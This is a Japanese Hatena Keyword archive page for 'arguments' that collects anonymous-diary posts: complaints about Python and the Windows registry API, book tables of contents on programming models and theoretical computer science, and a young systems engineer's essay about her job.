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はてなキーワード: 引数とは

2012-01-24

http://anond.hatelabo.jp/20120123003316

でもより良いコードを書こうとしてクロージャデフォルト引数、動的スコープといったものを気にしだすと弱点に気づく。

具体的にどんなの?

2012-01-23

http://anond.hatelabo.jp/20120122234606

言語仕様そのものはそんなに酷くない。

でもより良いコードを書こうとしてクロージャデフォルト引数、動的スコープといったものを気にしだすと弱点に気づく。

弱点に気づいた後で、それを直そうとしたり埋め合わせる機能を考えるのが他の言語

これは弱点じゃなくてPython様が与えた試練だから文句を言うなと押し付けるのがPython

2011-12-20

RegQueryValueEx REG_SZ UNICODE版とANSI

値はLPBYTE 型のバッファに返されるが

RegQueryValueExAやRegQueryValueExWと、

ANSI版かUNICODE版かを明示しなければ

UNICODEANSIとして文字列を返してくれるようだ。

AとW の違いは引数パス指定だけではない。



LPBYTEだから

文字列気遣いしてくれなくて ANSIで帰ってくるかなと勝手に思い込んで

MultiByteToWideChar を呼んで余計な変換を増やしてうまくいかなかった。

2011-12-12

コンピュータプログラミング概念技法モデル」の目次

第1章 プログラミング概念入門
	1.1 計算器
	1.2 変数
	1.3 関数
	1.4 リスト
	1.5 リストについての関数
	1.6 プログラムの正しさ
	1.7 計算量
	1.8 遅延計算
	1.9 高階プログラミング
	1.10 並列性
	1.11 データフロー
	1.12 明示的状態
	1.13 オブジェクト
	1.14 クラス
	1.15 非決定性と時間
	1.16 原子性
	1.17 ここからどこへ行くのか?
	1.18 練習問題

第1部 一般的計算モデル

第2章 宣言的計算モデル
	2.1 実用プログラミング言語定義
		2.1.1 言語の構文
		2.1.2 言語意味
	2.2 単一代入格納域
		2.2.1 宣言的変数
		2.2.2 値格納域
		2.2.3 値生成
		2.2.4 変数識別子
		2.2.5 識別子を使う値生成
		2.2.6 部分値
		2.2.7 変数の,変数への束縛
		2.2.8 データフロー変数
	2.3 核言語
		2.3.1 構文
		2.3.2 値と型
		2.3.3 基本型
		2.3.4 レコード手続き
		2.3.5 基本操作
	2.4 核言語意味
		2.4.1 基本概念
		2.4.2 抽象マシン
		2.4.3 待機不能な文
		2.4.4 待機可能な文
		2.4.5 基本概念再訪
	2.5 メモリ管理
		2.5.1 末尾呼び出し最適化
		2.5.2 メモリライフサイクル
		2.5.3 ガーベッジコレクション
		2.5.4 ガーベッジコレクションは魔術ではない
		2.5.5 Mozartのガーベッジコレクタ
	2.6 核言語から実用言語へ
		2.6.1 構文上の便宜
		2.6.2 関数(fun文)
		2.6.3 対話的インターフェース(declare文)
	2.7 例外
		2.7.1 動機と基本概念
		2.7.2 例外を持つ宣言的モデル
		2.7.3 親言語の構文
		2.7.4 システム例外
	2.8 進んだ話題
		2.8.1 関数型プログラミング言語
		2.8.2 単一化と内含(entailment)
		2.8.3 動的型付けと静的型付け
	2.9 練習問題

第3章 宣言的プログラミング技法
	3.1 宣言的とはどういうことか?
		3.1.1 宣言的プログラムの分類
		3.1.2 仕様記述言語
		3.1.3 宣言的モデルにおいてコンポーネントを実装すること
	3.2 反復計算
		3.2.1 一般的図式
		3.2.2 数についての反復
		3.2.3 局所的手続きを使うこと
		3.2.4 一般的図式から制御抽象へ
	3.3 再帰計算
		3.3.1 スタックの大きさの増加
		3.3.2 代入ベース抽象マシン
		3.3.3 再帰計算を反復計算に変換すること
	3.4 再帰を用いるプログラミング
		3.4.1 型の記法
		3.4.2 リストについてのプログラミング
		3.4.3 アキュムレータ
		3.4.4 差分リスト
		3.4.5 キュー
		3.4.6 木
		3.4.7 木を描画すること
		3.4.8 構文解析
	3.5 時間効率空間効率
		3.5.1 実行時間
		3.5.2 メモリ使用量
		3.5.3 償却的計算量
		3.5.4 性能についての考察
	3.6 高階プログラミング
		3.6.1 基本操作
		3.6.2 ループ抽象
		3.6.3 ループ言語的支援
		3.6.4 データ駆動技法
		3.6.5 明示的遅延計算
		3.6.6 カリー化
	3.7 抽象データ型
		3.7.1 宣言的スタック
		3.7.2 宣言的辞書
		3.7.3 単語出現頻度アプリケーション
		3.7.4 安全抽象データ型
		3.7.5 安全な型を備えた宣言的モデル
		3.7.6 安全な宣言的辞書
		3.7.7 資格セキュリティ
	3.8 宣言的でない必要物
		3.8.1 ファイルを伴うテキスト入出力
		3.8.2 グラフィカルユーザインタフェースを伴うテキスト入出力
		3.8.3 ファイルとの状態なしデータI/O
	3.9 小規模プログラム設計
		3.9.1 設計方法
		3.9.2 プログラム設計の例
		3.9.3 ソフトウェアコンポーネント
		3.9.4 スタンドアロンプログラムの例
	3.10 練習問題

第4章 宣言的並列性
	4.1 データ駆動並列モデル
		4.1.1 基本概念
		4.1.2 スレッド意味
		4.1.3 実行列
		4.1.4 宣言的並列性とは何か?
	4.2 スレッドプログラミングの基本的技法
		4.2.1 スレッドを生成すること
		4.2.2 スレッドブラウザ
		4.2.3 スレッドを使うデータフロー計算
		4.2.4 スレッドスケジューリング
		4.2.5 協調的並列性と競合的並列性
		4.2.6 スレッド操作
	4.3 ストリーム
		4.3.1 基本的生産者消費者
		4.3.2 変換器とパイプライン
		4.3.3 資源管理し,処理能力改善すること
		4.3.4 ストリームオブジェクト
		4.3.5 ディジタル論理シミュレーション
	4.4 宣言的並列モデルを直接使うこと
		4.4.1 順序決定並列性
		4.4.2 コルーチン
		4.4.3 並列的合成
	4.5 遅延実行
		4.5.1 要求駆動並列モデル
		4.5.2 宣言的計算モデル
		4.5.3 遅延ストリーム
		4.5.4 有界バッファ
		4.5.5 ファイルを遅延的に読み込むこと
		4.5.6 ハミング問題
		4.5.7 遅延リスト操作
		4.5.8 永続的キューアルゴリズム設計
		4.5.9 リスト内包表記
	4.6 甘いリアルタイムプログラミング
		4.6.1 基本操作
		4.6.2 ティッキング(ticking)
	4.7 Haskell言語
		4.7.1 計算モデル
		4.7.2 遅延計算
		4.7.3 カリー化
		4.7.4 多態型
		4.7.5 型クラス
	4.8 宣言的プログラム限界拡張
		4.8.1 効率性
		4.8.2 モジュラ性
		4.8.3 非決定性
		4.8.4 現実世界
		4.8.5 正しいモデルを選ぶこと
		4.8.6 拡張されたモデル
		4.8.7 異なるモデルを一緒に使うこと
	4.9 進んだ話題
		4.9.1 例外を持つ宣言的並列モデル
		4.9.2 さらに遅延実行について
		4.9.3 通信チャンネルとしてのデータフロー変数
		4.9.4 さらに同期について
		4.9.5 データフロー変数有用性
	4.10 歴史に関する注記
	4.11 練習問題

第5章 メッセージ伝達並列性
	5.1 メッセージ伝達並列モデル
		5.1.1 ポート
		5.1.2 ポート意味
	5.2 ポートオブジェクト
		5.2.1 NewPortObject抽象
		5.2.2 例
		5.2.3 ポートオブジェクトに関する議論
	5.3 簡単なメッセージプロトコル
		5.3.1 RMI(遠隔メソッド起動)
		5.3.2 非同期RMI
		5.3.3 コールバックのあるRMI(スレッド使用)
		5.3.4 コールバックのあるRMI(継続のためのレコード使用)
		5.3.5 コールバックのあるRMI(継続のための手続き使用)
		5.3.6 エラー報告
		5.3.7 コールバックのある非同期RMI
		5.3.8 二重コールバック
	5.4 並列性のためのプログラム設計
		5.4.1 並列コンポーネントを使うプログラミング
		5.4.2 設計方法
		5.4.3 並列性パターンとしての機能的構成要素
	5.5 リフト制御システム
		5.5.1 状態遷移図
		5.5.2 実装
		5.5.3 リフト制御システムの改良
	5.6 メソッド伝達モデルを直接使用すること
		5.6.1 1つのスレッドを共有する複数のポートオブジェクト
		5.6.2 ポートを使う並列キュー
		5.6.3 終点検出を行うスレッド抽象
		5.6.4 直列依存関係の除去
	5.7 Erlang言語
		5.7.1 計算モデル
		5.7.2 Erlangプログラミング入門
		5.7.3 receive操作
	5.8 進んだ話題
		5.8.1 非決定性並列モデル
	5.9 練習問題

第6章 明示的状態
	6.1 状態とは何か?
		6.1.1 暗黙的(宣言的)状態
		6.1.2 明示的状態
	6.2 状態とシステム構築
		6.2.1 システムの性質
		6.2.2 コンポーネントベースプログラミング
		6.2.3 オブジェクト指向プログラミング
	6.3 明示的状態を持つ宣言的モデル
		6.3.1 セル
		6.3.2 セル意味
		6.3.3 宣言的プログラミングとの関係
		6.3.4 共有と同等
	6.4 データ抽象
		6.4.1 データ抽象組織する8つの方法
		6.4.2 スタックの変種
		6.4.3 多態性
		6.4.4 引数受け渡し
		6.4.5 取り消し可能資格
	6.5 状態ありコレクション
		6.5.1 インデックス付きコレクション
		6.5.2 インデックス付きコレクションを選ぶこと
		6.5.3 その他のコレクション
	6.6 状態に関する推論
		6.6.1 不変表明
		6.6.2 例
		6.6.3 表明
		6.6.4 証明規則
		6.6.5 正常終了
	6.7 大規模プログラム設計
		6.7.1 設計方法
		6.7.2 階層システム構造
		6.7.3 保守性
		6.7.4 将来の発展
		6.7.5 さらに深く知るために
	6.8 ケーススタディ
		6.8.1 遷移的閉包
		6.8.2 単語出現頻度(状態あり辞書を使用する)
		6.8.3 乱数を生成すること
		6.8.4 口コミシミュレーション
	6.9 進んだ話題
		6.9.1 状態ありプログラミング限界
		6.9.2 メモリ管理と外部参照
	6.10 練習問題

第7章 オブジェクト指向プログラミング
	7.1 継承
	7.2 完全なデータ抽象としてのクラス
		7.2.1 例
		7.2.2 この例の意味
		7.2.3 クラスオブジェクト定義すること
		7.2.4 クラスメンバ
		7.2.5 属性初期化すること
		7.2.6 第1級メッセージ
		7.2.7 第1級の属性
		7.2.8 プログラミング技法
	7.3 漸増的データ抽象としてのクラス
		7.3.1 継承グラフ
		7.3.2 メソッドアクセス制御(静的束縛と動的束縛)
		7.3.3 カプセル化制御
		7.3.4 転嫁委任
		7.3.5 内省
	7.4 継承を使うプログラミング
		7.4.1 継承の正しい使い方
		7.4.2 型に従って階層を構成すること
		7.4.3 汎用クラス
		7.4.4 多重継承
		7.4.5 多重継承に関するおおざっぱな指針
		7.4.6 クラス図の目的
		7.4.7 デザインパターン
	7.5 他の計算モデルとの関係
		7.5.1 オブジェクトベースプログラミングコンポーネントベースプログラミング
		7.5.2 高階プログラミング
		7.5.3 関数分解と型分解
		7.5.4 すべてをオブジェクトにすべきか?
	7.6 オブジェクトシステムを実装すること
		7.6.1 抽象図
		7.6.2 クラスを実装すること
		7.6.3 オブジェクトの実装
		7.6.4 継承の実装
	7.7 Java言語(直列部分)
		7.7.1 計算モデル
		7.7.2 Javaプログラミング入門
	7.8 能動オブジェクト
		7.8.1 例
		7.8.2 NewActive抽象
		7.8.3 フラウィウス・ヨセフスの問題
		7.8.4 その他の能動オブジェクト抽象
		7.8.5 能動オブジェクトを使うイベントマネージャ
	7.9 練習問題

第8章 状態共有並列性
	8.1 状態共有並列モデル
	8.2 並列性を持つプログラミング
		8.2.1 さまざまな手法概観
		8.2.2 状態共有並列モデルを直接使うこと
		8.2.3 原子アクションを使うプログラミング
		8.2.4 さらに読むべき本
	8.3 ロック
		8.3.1 状態あり並列データ抽象を構築すること
		8.3.2 タプル空間(Linda)
		8.3.3 ロックを実装すること
	8.4 モニタ
		8.4.1 定義
		8.4.2 有界バッファ
		8.4.3 モニタを使うプログラミング
		8.4.4 モニタを実装すること
		8.4.5 モニタの別の意味
	8.5 トランザクション
		8.5.1 並列性制御
		8.5.2 簡易トランザクションマネージャ
		8.5.3 セルについてのトランザクション
		8.5.4 セルについてのトランザクションを実装すること
		8.5.5 トランザクションについてさらに
	8.6 Java言語(並列部分)
		8.6.1 ロック
		8.6.2 モニタ
	8.7 練習問題

第9章 関係プログラミング
	9.1 関係計算モデル
		9.1.1 choice文とfail文
		9.1.2 探索木
		9.1.3 カプセル化された
		9.1.4 Solve関数
	9.2 別の例
		9.2.1 数値例
		9.2.2 パズルとnクイーン問題
	9.3 論理プログラミングとの関係
		9.3.1 論理論理プログラミング
		9.3.2 操作意味論理意味
		9.3.3 非決定性論理プログラミング
		9.3.4 純粋Prologとの関係
		9.3.5 他のモデルにおける論理プログラミング
	9.4 自然言語構文解析
		9.4.1 簡単な文法
		9.4.2 この文法に従う構文解析
		9.4.3 構文木を生成すること
		9.4.4 限定記号を生成すること
		9.4.5 パーサを走らせること
		9.4.6 パーサを「逆向きに(backward)」走らせること
		9.4.7 単一化文法
	9.5 文法インタプリタ
		9.5.1 簡単な文法
		9.5.2 文法のコード化
		9.5.3 文法インタプリタを走らせること
		9.5.4 文法インタプリタを実装すること
	9.6 データベース
		9.6.1 関係を定義すること
		9.6.2 関係を使って計算すること
		9.6.3 関係を実装すること
	9.7 Prolog言語
		9.7.1 計算モデル
		9.7.2 Prologプログラミング入門
		9.7.3 Prologプログラムを関係プログラム翻訳すること
	9.8 練習問題

第2部 特殊化された計算モデル10グラフィカルユーザインタフェースプログラミング
	10.1 宣言的/手続き的方法
	10.2 宣言的/手続き的方法を使うこと
		10.2.1 基本的ユーザインタフェースの要素
		10.2.2 GUIを構築すること
		10.2.3 宣言的座標
		10.2.4 リサイズ時の宣言的振る舞い
		10.2.5 ウィジェットの動的振る舞い
	10.3 対話的学習ツールPrototyper
	10.4 ケーススタディ
		10.4.1 簡単なプログレモニタ
		10.4.2 簡単なカレンダウィジェット
		10.4.3 ユーザインタフェースの動的生成
		10.4.4 状況順応時計
	10.5 GUIツールを実装すること
	10.6 練習問題

第11章 分散プログラミング
	11.1 分散システムの分類
	11.2 分散モデル
	11.3 宣言的データの分散
		11.3.1 オープン分散と大域的ネーミング
		11.3.2 宣言的データを共有すること
		11.3.3 チケット配布
		11.3.4 ストリーム通信
	11.4 状態の分散
		11.4.1 単純状態共有
		11.4.2 分散字句的スコープ
	11.5 ネットワークアウェアネス
	11.6 共通分散プログラミングパターン
		11.6.1 静的オブジェクトモバイルオブジェクト
		11.6.2 非同期的オブジェクトデータフロー
		11.6.3 サーバ
		11.6.4 クローズド分散
	11.7 分散プロトコル
		11.7.1 言語実体
		11.7.2 モバイル状態プロトコル
		11.7.3 分散束縛プロトコル
		11.7.4 メモリ管理
	11.8 部分的失敗
		11.8.1 失敗モデル
		11.8.2 失敗処理の簡単な場合
		11.8.3 回復可能サーバ
		11.8.4 アクティブフォールトトレランス
	11.9 セキュリティ
	11.10 アプリケーションを構築すること
		11.10.1 まずは集中,後に分散
		11.10.2 部分的失敗に対処すること
		11.10.3 分散コンポーネント
	11.11 練習問題

第12章 制約プログラミング
	12.1 伝播・探索法
		12.1.1 基本的考え方
		12.1.2 部分情報を使って計算すること
		12.1.3 例
		12.1.4 この例を実行すること
		12.1.5 まとめ
	12.2 プログラミング技法
		12.2.1 覆面算
		12.2.2 回文積再訪
	12.3 制約ベース計算モデル
		12.3.1 基本的制約と伝播子
		12.3.2 計算空間の探索をプログラムすること
	12.4 計算空間定義し,使うこと
		12.4.1 深さ優先探索エンジン
		12.4.2 検索エンジンの実行例
		12.4.3 計算空間の生成
		12.4.4 空間の実行
		12.4.5 制約の登録
		12.4.6 並列的伝播
		12.4.7 分配(探索準備)
		12.4.8 空間の状態
		12.4.9 空間クローン
		12.4.10 選択肢を先に任せること
		12.4.11 空間マージすること
		12.4.12 空間失敗
		12.4.13 空間計算を注入すること
	12.5 関係計算モデルを実装すること
		12.5.1 choice文
		12.5.2 Solve関数
	12.6 練習問題

第3部 意味

第13章 言語意味
	13.1 一般的計算モデル
		13.1.1 格納域
		13.1.2 単一代入(制約)格納域
		13.1.3 抽象構文
		13.1.4 構造的規則
		13.1.5 直列実行と並列実行
		13.1.6 抽象マシン意味との比較
		13.1.7 変数導入
		13.1.8 同等性の強制(tell)
		13.1.9 条件文(ask)
		13.1.10 名前
		13.1.11 手続抽象
		13.1.12 明示的状態
		13.1.13 by-need同期
		13.1.14 読み出し専用変数
		13.1.15 例外処理
		13.1.16 失敗値
		13.1.17 変数置き換え
	13.2 宣言的並列性
		13.2.1 部分停止と全体停止
		13.2.2 論理同値
		13.2.3 宣言的並列性の形式的定義
		13.2.4 合流性
	13.3 8つの計算モデル
	13.4 よくある抽象意味
	13.5 歴史に関する注記
	13.6 練習問題

2011-12-06

http://anond.hatelabo.jp/20111117150336

お、案外見てくれる人もいるんだな。



nlsxbe.dll でした。

しかしながら regsvr32 は -u も引数なしも失敗するけどね...

2011-10-10

文系情報系の学科卒業して、おめでたい頭で何となくSEになって二年目になりました

情報系の学科ではあったけど、SEだのPGだのに就くのは男子学生のうち6割、女子学生では1割いないような感じ

で、非コミュと半ヒキと地頭の悪さで競争率の低そうなSE職についてめでたくその1割に当選

私以外は大体プログラミング楽しい~とか、そういう子ばっかりの中での1割

ちなみにプログラミングの授業は大嫌い。未だに関数がー引数がーポインタがーって意味分かんない。


で、さっき何となく学者向けのC言語解説サイトを見てみた

授業でやったのよりよっぽど分かりやすくて、今になって初めて知ることがたくさんあった

でも別に向上心はないので「そうなんだーすごいなーへー」という感想しかかばない

保守開発メインから今までの開発step数って3桁行かないし、使ったのは「=」と「if文」が精々

仕事で使うのはCでもJAVAでもないけど、そんなことも分かってなかったの?って呆れられるだろうなー

こんな私でも応用情報が余裕で取れているし、来週受ける上位資格も難なく取れそう

SEって馬鹿でもなれるしお給料いいしで良い仕事だよ!と、後輩には勧めておいた

ただし毎晩終電帰り・残業120時間超でも残業代出るのは30時間まで・仕事が終わらないなら土日は潰れて当たり前なのが気にならなければね、というのは黙っているけれど


SE職に就く女子が増えるといいなーと思っている。

職場結婚率は割りと低いけど、他の職場の同業種の人との結婚率はめちゃくちゃ多い。

三年以内に寿退社する人もとても多い。仕事きついし辞めたい女側と、家のことして癒してくれる子がいい男側の需要供給が程よくマッチングしてるんだろうな。

あと、私みたいなブスしか配属されなかった自担当には大変申し訳ないので来年当たり可愛い女の子が配属されてくれると嬉しい。

2011-09-15

コンピュータ基礎理論ハンドブック2 形式的モデル意味論」の目次

第1章  有限オートマトン
	D.Perrin:橋口攻三郎
1. 序論
2. 有限オートマトン認識可能集合
3. 有理表現
4. Kleeneの定理
5. 星の高さ
6. 星自由集合
7. 特殊なオートマトン
8. 数の認識可能集合


第2章  文脈自由言語
	J.Berstel and L.Boasson:富田 悦次

1. 序論
2. 言語
	2.1 記法と例
	2.2 Hotz 群
	2.3 曖昧性と超越性
3. 反復
	3.1 反復補題
	3.2 交換補題
	3.3 退化
4. 非生成元の探求
	4.1 準備
	4.2 生成元
	4.3 非生成元と代入
	4.4 非生成元と決定性
	4.5 主錐の共通部分
5. 文脈自由群
	5.1 文脈自由群
	5.2 Cayleyグラフ
	5.3 終端


第3章  形式言語とべき級数
	A.Salomaa:河原 康雄

1. 序論
2. 準備
3. 書換え系と文法
4. Post正準系
5. Markov系
6. 並列書換え系
7. 射と言語
8. 有理べき級数
9. 代数的べき級数
10. べき級数の応用


第4章  無限の対象上のオートマトン
	W.Thomas:山崎 秀記

序論
Ⅰ部  無限語上のオートマトン
	記法
1. Buchiオートマトン
2. 合同関係と補集合演算
3. 列計算
4. 決定性とMcNaughtonの定理
5. 受理条件とBorelクラス
6. スター自由ω言語と時制論理
7. 文脈自由ω言語
Ⅱ部  無限木上のオートマトン
	記法
8. 木オートマトン
9. 空問題と正則木
10. 補集合演算ゲームの決定性
11. 木の単項理論と決定問題
12. Rabin認識可能な集合の分類
	12.1 制限された単項2階論理
	12.2 Rabin木オートマトンにおける制限
	12.3 不動点計算


第5章  グラフ書換え:代数的・論理アプローチ
	B.Courcelle:會澤 邦夫

1. 序論
2. 論理言語グラフの性質
	2.1 単純有向グラフの類S
	2.2 グラフの類D(A)
	2.3 グラフの性質
	2.4 1階のグラフの性質
	2.5 単項2階のグラフの性質
	2.6 2階のグラフの性質
	2.7 定理
3. グラフ演算グラフ表現
	3.1 源点付きグラフ
	3.2 源点付き超グラフ
	3.3 超グラフ上の演算
	3.4 超グラフの幅
	3.5 導来演算
	3.6 超辺置換
	3.7 圏における書換え規則
	3.8 超グラフ書換え規則
4. 超グラフの文脈自由集合
	4.1 超辺置換文法
	4.2 HR文法に伴う正規木文法
	4.3 超グラフの等式集合
	4.4 超グラフの文脈自由集合の性質
5. 超グラフの文脈自由集合の論理的性質
	5.1 述語の帰納的集合
	5.2 論理構造としての超グラフ
	5.3 有限超グラフの可認識集合
6. 禁止小グラフ定義される有限グラフの集合
	6.1 小グラフ包含
	6.2 木幅と木分解
	6.3 比較図
7. 計算量の問題
8. 無限グラフ
	8.1 無限グラフ表現
	8.2 無限グラフの単項性質
	8.3 超グラフにおける等式系
	8.4 関手の初期不動点
	8.5 超グラフにおける等式系の初期解
	8.6 等式的超グラフの単項性質


第6章  書換え系
	N.Dershowitz and J.-P.Jouannaud:稲垣 康善,直井 徹

1. 序論
2. 構文論
	2.1 項
	2.2 等式
	2.3 書換え規則
	2.4 決定手続き
	2.5 書換え系の拡張
3. 意味論
	3.1 代数
	3.2 始代数
	3.3 計算能代数
4. Church-Rosser性
	4.1 合流性
	4.2 調和性
5. 停止性
	5.1 簡約順序
	5.2 単純化順序
	5.3 経路順序
	5.4 書換え系の組合せ
6. 充足可能性
	6.1 構文論的単一化
	6.2 意味論的単一化
	6.3 ナローイング
7. 危険対
	7.1 項書換え
	7.2 直交書換え系
	7.3 類書換え
	7.4 順序付き書換え
	7.5 既約な書換え系
8. 完備化
	8.1 抽象完備化
	8.2 公平性
	8.3 完備化の拡張
	8.4 順序付き書換え
	8.5 機能定理証明
	8.6 1階述語論理定理証明
9. 書換え概念拡張
	9.1 順序ソート書換え
	9.2 条件付き書換え
	9.3 優先度付き書換え
	9.4 グラフ書換え


第7章  関数型プログラミングラムダ計算
	H.P.Barendregt:横内 寛文

1. 関数計算モデル
2. ラムダ計算
	2.1 変換
	2.2 計算可能関数表現
3. 意味論
	3.1 操作意味論:簡約と戦略
	3.2 表示的意味論ラムモデル
4. 言語拡張
	4.1 デルタ規則
	4.2 型
5. 組合せ子論理と実装手法
	5.1 組合せ子論理
	5.2 実装の問題


第8章  プログラミング言語における型理論
	J.C.Mitchell:林 晋

1. 序論
	1.1 概論
	1.2 純粋および応用ラムダ計算
2. 関数の型をもつ型付きラムダ計算
	2.1 型
	2.2 項
	2.3 証明系
	2.4 意味論健全性
	2.5 再帰関数論的モデル
	2.6 領域理論モデル
	2.7 カルテシアン閉圏
	2.8 Kripkeラムモデル
3. 論理的関係
	3.1 はじめに
	3.2 作用構造上の論理的関係
	3.3 論理的部分関数論理同値関係
	3.4 証明論的応用
	3.5 表現独立性
	3.6 論理的関係の変種
4. 多相型入門
	4.1 引数としての型
	4.2 可述的な多相的計算系
	4.3 非可述的な多相型
	4.4 データ抽象存在型
	4.5 型推論入門
	4.6 型変数をもつλ→の型推論
	4.7 多相的宣言の型推論
	4.8 他の型概念


第9章  帰納的な関数プログラム図式
	B.Courcelle:深澤 良彰

1. 序論
2. 準備としての例
3. 基本的な定義
	3.1 多ソート代数
	3.2 帰納的な関数プログラム図式
	3.3 同値な図式
4. 離散的解釈における操作意味論
	4.1 部分関数と平板な半順序
	4.2 離散的解釈
	4.3 書換えによる評価
	4.4 意味写像
	4.5 計算規則
5. 連続解釈における操作意味論
	5.1 連続代数としての解釈
	5.2 有限の極大要素と停止した計算
6. 解釈クラス
	6.1 汎用の解釈
	6.2 代表解釈
	6.3 解釈方程式クラス
	6.4 解釈代数クラス
7. 最小不動点意味論
	7.1 最小で唯一の解を得る不動点理論
	7.2 Scottの帰納原理
	7.3 Kleeneの列と打切り帰納法
8. プログラム図式の変換
	8.1 プログラム図式における同値性の推論
	8.2 畳込み,展開,書換え
	8.3 制限された畳込み展開
9. 研究歴史,他の形式のプログラム図式,文献ガイド
	9.1 流れ図
	9.2 固定された条件をもつ一様な帰納的関数プログラム図式
	9.3 多様な帰納的関数プログラム図式
	9.4 代数理論
	9.5 プログラムの生成と検証に対する応用


第10論理プログラミング
	K.R.Apt:筧 捷彦

1. 序論
	1.1 背景
	1.2 論文の構成
2. 構文と証明論
	2.1 1階言語
	2.2 論理プログラム
	2.3 代入
	2.4 単一化子
	2.5 計算過程―SLD溶融
	2.6 例
	2.7 SLD導出の特性
	2.8 反駁手続き―SLD木
3. 意味論
	3.1 1階論理意味論
	3.2 SLD溶融の安全性
	3.3 Herbrand模型
	3.4 直接帰結演算子
	3.5 演算子とその不動点
	3.6 最小Herbrand模型
	3.7 SLD溶融の完全性
	3.8 正解代入
	3.9 SLD溶融の強安全性
	3.10 手続き的解釈と宣言的解釈
4. 計算力
	4.1 計算力と定義力
	4.2 ULの枚挙可能性
	4.3 帰納的関数
	4.4 帰納的関数計算力
	4.5 TFの閉包順序数
5. 否定情報
	5.1 非単調推論
	5.2 閉世界仮説
	5.3 失敗即否定規則
	5.4 有限的失敗の特徴付け
	5.5 プログラムの完備化
	5.6 完備化の模型
	5.7 失敗即否定規則の安全性
	5.8 失敗即否定規則の完全性
	5.9 等号公理と恒等
	5.10 まとめ
6. 一般目標
	6.1 SLDNF-溶融
	6.2 SLDNF-導出の安全性
	6.3 はまり
	6.4 SLDNF-溶融の限定的な完全性
	6.5 許容性
7. 層状プログラム
	7.1 準備
	7.2 層別
	7.3 非単調演算子とその不動点
	7.4 層状プログラム意味論
	7.5 完全模型意味論
8. 関連事項
	8.1 一般プログラム
	8.2 他の方法
	8.3 演繹データベース
	8.4 PROLOG
	8.5 論理プログラミング関数プログラミング統合
	8.6 人工知能への応用


第11章  表示的意味論
	P.D.Mosses:山田 眞市

1. 序論
2. 構文論
	2.1 具象構文論
	2.2 抽象構文
	2.3 文脈依存構文
3. 意味論
	3.1 表示的意味論
	3.2 意味関数
	3.3 記法の慣例
4. 領域
	4.1 領域の構造
	4.2 領域の記法
	4.3 記法上の約束事
5. 意味記述法
	5.1 リテラル
	5.2 式
	5.3 定数宣言
	5.4 関数抽象
	5.5 変数宣言
	5.6 文
	5.7 手続抽象
	5.8 プログラム
	5.9 非決定性
	5.10 並行性
6. 文献ノート
	6.1 発展
	6.2 解説
	6.3 変形


第12意味領域
	C.A.Gunter and D.S.Scott:山田 眞市

1. 序論
2. 関数帰納定義
	2.1 cpoと不動点定理
	2.2 不動点定理の応用
	2.3 一様性
3. エフェクティブに表現した領域
	3.1 正規部分posetと射影
	3.2 エフェクティブに表現した領域
4. 作用素関数
	4.1 積
	4.2 Churchのラム記法
	4.3 破砕積
	4.4 和と引上げ
	4.5 同形と閉包性
5. べき領域
	5.1 直観的説明
	5.2 形式的定義
	5.3 普遍性と閉包性
6. 双有限領域
	6.1 Poltkin順序
	6.2 閉包性
7. 領域の帰納定義
	7.1 閉包を使う領域方程式の解法
	7.2 無型ラム記法モデル
	7.3 射影を使う領域方程式の解法
	7.4 双有限領域上の作用素表現


第13章  代数仕様
	M.Wirsing:稲垣 康善,坂部 俊樹

1. 序論
2. 抽象データ型
	2.1 シグニチャと項
	2.2 代数計算構造
	2.3 抽象データ型
	2.4 抽象データ型の計算可能性
3. 代数仕様
	3.1 論理式と理論
	3.2 代数仕様とその意味論
	3.3 他の意味論的理解
4. 単純仕様
	4.1 束と存在定理
	4.2 単純仕様表現能力
5. 隠蔽関数と構成子をもつ仕様
	5.1 構文と意味論
	5.2 束と存在定理
	5.3 隠蔽記号と構成子をもつ仕様表現能力
	5.4 階層仕様
6. 構造仕様
	6.1 構造仕様意味論
	6.2 隠蔽関数のない構造仕様
	6.3 構成演算
	6.4 拡張
	6.5 観測的抽象化
	6.6 構造仕様代数
7. パラメータ仕様
	7.1 型付きラムダ計算によるアプローチ
	7.2 プッシュアウトアプローチ
8. 実現
	8.1 詳細化による実現
	8.2 他の実現概念
	8.3 パラメータ化された構成子実現と抽象化子実現
	8.4 実行可能仕様
9. 仕様記述言語
	9.1 CLEAR
	9.2 OBJ2
	9.3 ASL
	9.4 Larch
	9.5 その他の仕様記述言語


第14章  プログラム論理
	D.Kozen and J.Tiuryn:西村 泰一,近藤 通朗

1. 序論
	1.1 状態,入出力関係,軌跡
	1.2 外的論理,内的論理
	1.3 歴史ノート
2. 命題動的論理
	2.1 基本的定義
	2.2 PDLに対する演繹体系
	2.3 基本的性質
	2.4 有限モデル特性
	2.5 演繹的完全性
	2.6 PDLの充足可能性問題の計算量
	2.7 PDLの変形種
3. 1階の動的論理
	3.1 構文論
	3.2 意味論
	3.3 計算量
	3.4 演繹体系
	3.5 表現力
	3.6 操作的vs.公理意味論
	3.7 他のプログラミング言語
4. 他のアプローチ
	4.1 超準動的論理
	4.2 アルゴリズム論理
	4.3 有効的定義論理
	4.4 時制論理


第15章  プログラム証明のための手法論理
	P.Cousot:細野 千春,富田 康治

1. 序論
	1.1 Hoareの萌芽的な論文の解説
	1.2 C.A.R.HoareによるHoare論理のその後の研究
	1.3 プログラムに関する推論を行うための手法に関するC.A.R.Hoareによるその後の研究
	1.4 Hoare論理概観
	1.5 要約
	1.6 この概観を読むためのヒント
2. 論理的,集合論的,順序論的記法
3. プログラミング言語の構文論と意味論
	3.1 構文論
	3.2 操作意味論
	3.3 関係的意味論
4. 命令の部分正当性
5. Floyd-Naurの部分正当性証明手法とその同値な変形
	5.1 Floyd-Naurの手法による部分正当性証明の例
	5.2 段階的なFloyd-Naurの部分正当性証明手法
	5.3 合成的なFloyd-Naurの部分正当性証明手法
	5.4 Floyd-Naurの部分正当性の段階的な証明と合成的な証明同値性
	5.5 Floyd-Naurの部分正当性証明手法の変形
6. ライブネス証明手法
	6.1 実行トレース
	6.2 全正当性
	6.3 整礎関係,整列集合,順序数
	6.4 Floydの整礎集合法による停止性の証明
	6.5 ライブネス
	6.6 Floydの全正当性証明手法からライブネスへの一般化
	6.7 Burstallの全正当性証明手法とその一般化
7. Hoare論理
	7.1 意味論的な観点から見たHoare論理
	7.2 構文論的な観点から見たHoare論理
	7.3 Hoare論理意味論
	7.4 構文論と意味論の間の関係:Hoare論理健全性と完全性の問題
8. Hoare論理の補足
	8.1 データ構造
	8.2 手続き
	8.3 未定義
	8.4 別名と副作用
	8.5 ブロック構造局所変数
	8.6 goto文
	8.7 (副作用のある)関数と式
	8.8 コルーチン
	8.9 並行プログラム
	8.10正当性
	8.11 プログラム検証の例
	8.12 プログラムに対して1階論理拡張した他の論理


